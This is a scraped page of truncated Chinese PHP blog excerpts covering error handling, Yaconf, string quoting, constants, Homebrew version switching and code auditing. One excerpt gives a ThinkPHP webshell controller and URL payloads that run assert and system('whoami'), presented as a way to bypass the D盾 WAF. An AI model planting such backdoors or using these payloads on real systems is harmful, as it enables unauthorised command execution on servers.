PHP-Version

PHP错误与异常处理【转】

允我心安 提交于 2020-08-12 18:41:38
请一定要注意,没有特殊说明:本例****PHP Version < 7   说起PHP异常处理,大家首先会想到try-catch,那好,我们先看一段程序吧:有一个test.php文件,有一段简单的PHP程序,内容如下,然后命令行执行:php test.php 1 <?php 2 $num = 0; 3 try { 4 echo 1/$num;5 6 } catch (Exception $e){ 7 echo $e->getMessage(); 8 } 9 ?>   我的问题是:这段程序能正确的捕捉到除0的错误信息吗?   如果你回答能,那你就把这篇文章看完吧!应该能学点东西。 本文章分5个部分介绍我的异常处理的理解: 目录 一、异常与错误的概述 二、ERROR的级别 三、PHP异常处理中的黑科技 1:set_error_handler() 2:register_shutdown_function() 四、巧妙的捕获错误和异常 1:把错误以异常的形式抛出(不能完全抛出) 2:捕获所有的错误 五、自定义异常处理和异常嵌套 1:自定义异常处理 2:异常嵌套 六、PHP7中的异常处理 一、异常与错误的概述   PHP中什么是异常:   程序在运行中出现不符合预期的情况,允许发生(你也不想让他出现不正常的情况)但他是一种不正常的情况,按照我们的正常逻辑本不该出的错误,但仍然会出现的错误

PHP之错误处理

↘锁芯ラ 提交于 2020-05-07 21:57:11
目录 1. 前言 2. 错误类型和提示类型 2.1错误类型 2.2提示类型 3. 错误配置选项 3.1通过php.ini配置设置 3.2通过php函数设置 3.3通过ini_set()函数设置 3.4触发PHP错误函数 3.5自定义错误类型 4. PHP错误处理方法 4.1方法一:将错误日志保存在指定文件中 4.2方法二:将错误日志保存在系统日志中 4.3方法三:错误日志以邮件方式发送 5. 自定义错误处理器 5.1简介 5.2使用步骤 5.3实例演示 5.4封装自定义错误处理器类 5.5错误处理器类的测试 5.5.1通知错误测试 5.5.2警告错误测试 5.5.3手动抛出错误测试 6.脚本结束函数调用register_shutdown_function() 6.1含义 6.2使用场景 6.3案例演示 7.总结 1.前言 了解PHP的错误类型有助于我们很好地定位和解决bug,下面让我们一起深入了解吧。 代码分享: https://github.com/mtdgclub/ErrorDeal 2.错误类型和提示类型 说到PHP的错误我们先要搞清楚错误有几种错误类型,几种提示类型 2.1错误类型 语法错误 环境错误 逻辑错误 2.2提示类型 不推荐级别的错误—Deprecated 通知级别的错误—Notice 警告级别的错误—Warning 致命级别的错误—Fatal 语法解析错误

PHP7的Yaconf使用教程

和自甴很熟 提交于 2020-05-06 09:21:42
简介 首先说说, 这个是干啥的. 我见过很多的项目中, 用PHP文件做配置的, 一个config目录下可能有十几个甚至数十个.php配置文件, 里面都是各种各样的array, 还有甚者会把一些词典文件(比如中文/英文对照)也放到配置中去. 这就导致配置文件的解析耗费了很大的性能(诚然, 用了opcache能好点, 但是实际上还是有执行的过程). 除了PHP的, 还有用json的, yaml的, 一个共同的特点就是这些配置的可读性比较差. 另外, 他们也都要runtime解析. config目录往往和代码在一起, 首先会有安全隐患(配置中往往有敏感信息), 其次如果配置和代码属于一个项目, 这就会导致配置的修改也要走代码上线的流程. 一些资源配置文件, 比如mysql/memcache的配置信息, 这些内容本来是应该对开发透明的, 运维直接负责即可. 但是放到了代码中就会导致, 运维如果要发起一些变更, 也要开发配合修改配置文件上线. 所以, Yaconf就是为了解决这些问题而生的一个工具. 它使用单独的一个配置目录(在yaconf.directory指定), 不和代码在一起. 它在PHP启动的时候, 处理所有的要处理的配置, 然后这些配置就会常驻内存, 随着PHP的生命周期存亡. 避免了每次请求的时候解析配置文件. 所有的配置内容都是immutable的,

单引号、双引号与定界符——PHP

主宰稳场 提交于 2020-05-06 02:24:43
单引号与双引号 单引号和双引号在echo输出时的区别 echo输出时,如果使用单引号,那么echo会把单引号之间的全部内容当成普通字符串输出,不能识别变量和转义字符( 单引号串中的内容总被认为是普通字符 ) 1 $str1 = "Hello" ; 2 echo '$str1<br/>'; 运行结果: echo输出时,如果使用双引号,那么echo会识别双引号之间的变量和转义字符 1 $str1 = "Hello" ; 2 echo '$str1<br/>' ; 3 echo " $str1 <br/>"; 运行结果: 在上面的测试代码中,给$str1变量赋值的内容只有普通字符,所以使用单引号和双引号赋值的作用时一样的 ------------------------------------------------------ 单引号和双引号在给变量赋值时的区别 1 $str1 = "Hello" ; 2 $str2 = '$str1 my friend' ; 3 $str3 = " $str1 my friend" ; 4 echo " $str2 <br/>" ; 5 echo " $str3 <br/>"; 运行结果: ----------------------------------------------------- PHP语法分析器是用成对的引号来判断一个字符串的。因此

PHP中的预定义常量、类常量和魔术常量的区别

无人久伴 提交于 2020-05-05 18:41:26
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。 对于一些基本的常量是这些常量在 PHP 的内核中定义。它包含 PHP、Zend 引擎和 SAPI 模块,如: PHP_VERSION PHP_OS PHP_SAPI PHP_EOL 对于一些是通过加载扩展库才会出现,比如: DIRECTORY_SEPARATOR (string) PATH_SEPARATOR (string) 对于上面的常量是区分大小写的。 有八个魔术常量它们的值随着它们在代码中的位置改变而改变。例如 __LINE__ 的值就依赖于它在脚本中所处的行来决定。 这些特殊的常量不区分大小写,也就是说魔术常量是不区分大小写的。 PHP的几个魔术常量 __LINE__ 文件中的当前行号。 __FILE__ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析后的绝对路径),而在此之前的版本有时会包含一个相对路径。 __DIR__ 文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录。它等价于 dirname(__FILE__)。除非是根目录,否则目录中名不包括末尾的斜杠。(PHP 5.3

thinkphp下的Webshell&&php过D盾一句话

血红的双手。 提交于 2020-05-04 05:29:32
环境: Thinkphp 5.0.15 PHP version:7.0.12 WAF: D盾 ,安全狗 Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法 思路:利用已经有的think 类包库 去做一些事情 利用已有的功能,顺便对D盾 绕过 方法: Payload1: http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo() Payload2: http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’) 代码: <? php namespace app\index\controller; use \think\App; class index { public function index( $f , $shell ) { $a = new App(); $c = $a ->invokeFunction( $f , $shell ); return '</br> sucess' ; } } 关于用这个的来源: Thinkphp5 rce 漏洞

PHP-----PHP程序设计基础教程----第二章PHP基本语法

大兔子大兔子 提交于 2020-05-02 11:56:57
博文结构: 2.1 PHP语法风格 2.1.1 PHP标记   PHP有四种风格的标记,具体如表2-1所示:   表2-1 PHP开始和结束标记 标记类型 开始标记 结束标记 示例 说明 标准标记 <?php ?> <?php echo “Hello”; ?> 服务器不禁用这种标记,兼容性、可移植性、可复用性好 短标记 <? ?> <? echo “Hello”; ?> 必须在配置文件 php.ini 中启用 short_open_tag 选项 ASP 式标记 <% %> <% echo “Hello”; %> 必须在配置文件 php.ini 中启用 asp_tags 选项 Script 标记 <script language=”php”> </script> <script language=”php”>echo “Hello”; </script> 只需了解, PHP 不推荐这种标记   在上述四种标记中,只有标准标记和Script标记能保证对任何配置都有效,而段标记和ASP式标记只能在php.ini中显式的启用。   注意: ( 1 )若脚本中包含XML语句,避免使用段标记,因为“<? ”是XML解析器的一个处理指令。 ( 2 )PHP和HTML代码可以进行混合编程。 <html> <body> <p>Hello HTML</p> <p><?php echo " Hello

Mac 下使用 homebrew 切换不同版本 php

我只是一个虾纸丫 提交于 2020-04-21 23:54:57
最近刚切换回 Mac 下进行开发,所以写了比较多的 Mac 环境部署之类的文章。今天需要重新切换一下本地的开发环境。原本想直接在当前环境下开发, 毕竟 Mac 自带了 PHP 环境,今天需要新添一个扩展 freetype ,需要重新编译一遍 PHP。 由于这个扩展是核心内置扩展,没法通过phpize来编译安装。 解决办法只有一个,就是找到PHP的安装源码重新编译一下,在编译的时候,加上–with-freetype-dir。 但是要知道的一个事 —— Mac上PHP是内置的,根本就找不到它的安装源码在哪! 所以需要重新编译一遍 PHP,并且不影响 Mac 当前的 PHP 环境。 Mac 下软件的安装和管理,当然离不开 homebrew 了。 安装 php 不同版本 brew install php54 brew install php55 brew install php56 brew install php70 安装新版本时,你很大几率上会被提醒,php 已经安装了 xxx 版本了,你需要先 unlink 原先的版本。于是就是下面的这个命令了。先 unlink 再安装。 安装后自然就 link 好了。 常规切换 通过 brew 安装的 php 可以通过brew link和brew unlink来切换不同版本。 brew list brew unlink php56 brew

PHP 代码审计基础

拈花ヽ惹草 提交于 2020-03-25 12:21:47
3 月,跳不动了?>>> 第一部分 审计流程 1.用户请求的处理流程 获取请求 全局过滤 模块文件 C函数内容 M函数内容 V显示 2.通读原文 函数集文件 配置文件 安全过滤文件 Index文件 3.网站目录结构 主目录 模块目录 插件目录 上传目录 模块目录 数据目录 配置目录 配置文件 公共函数文件 安全过滤文件 数据库结构 入口文件 4.敏感关键字回溯参数 优点 : 高效的挖掘漏洞 判断敏感触发点的位置以及上下文,追溯参数源头 缺点: 覆盖不到逻辑漏洞的挖掘 不能了解程序的基本框架 功能点定向审计 程序安装 文件上传 文件管理 登录验证 备份恢复 找回密码 例子 Dami cms 账户功能 登录 会员资料 找回密码 注册 修改密码 我的投稿 我的订单 第二部分 PHP核心配置 1.大小写敏感 directive = value(指令=值) foo = bar ≠ FOO = bar 2.运算符 | 、&、~、! 空值的表达方式 foo = ; foo = none; foo = “none”; 3.安全模式 safe_mode=off (PHP 5.4移除 )限制文档存取、环境变量的读取以及空值外部程序的运行 限制环节变量的读取 safe_mode_allowed_env_vas = string 指定PGP程序可以改变的环境变量的前缀,当值为空的时候

php的openssl_private_encrypt的python实现

痴心易碎 提交于 2020-01-07 20:05:59
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 参考: https://github.com/klokantech/flask-fastspring/blob/0462833f67727cba9755a26c88941f11f0159a48/flask_fastspring.py def openssl_private_encrypt(key, data, backend): """Encrypt data with RSA private key. This is a rewrite of the function from PHP, using cryptography FFI bindings to the OpenSSL library. Private key encryption is non-standard operation and Python packages either don't offer it at all, or it's incompatible with the PHP version. The backend argument MUST be the OpenSSL cryptography backend. """ length = backend._lib.EVP_PKEY_size(key._evp_pkey)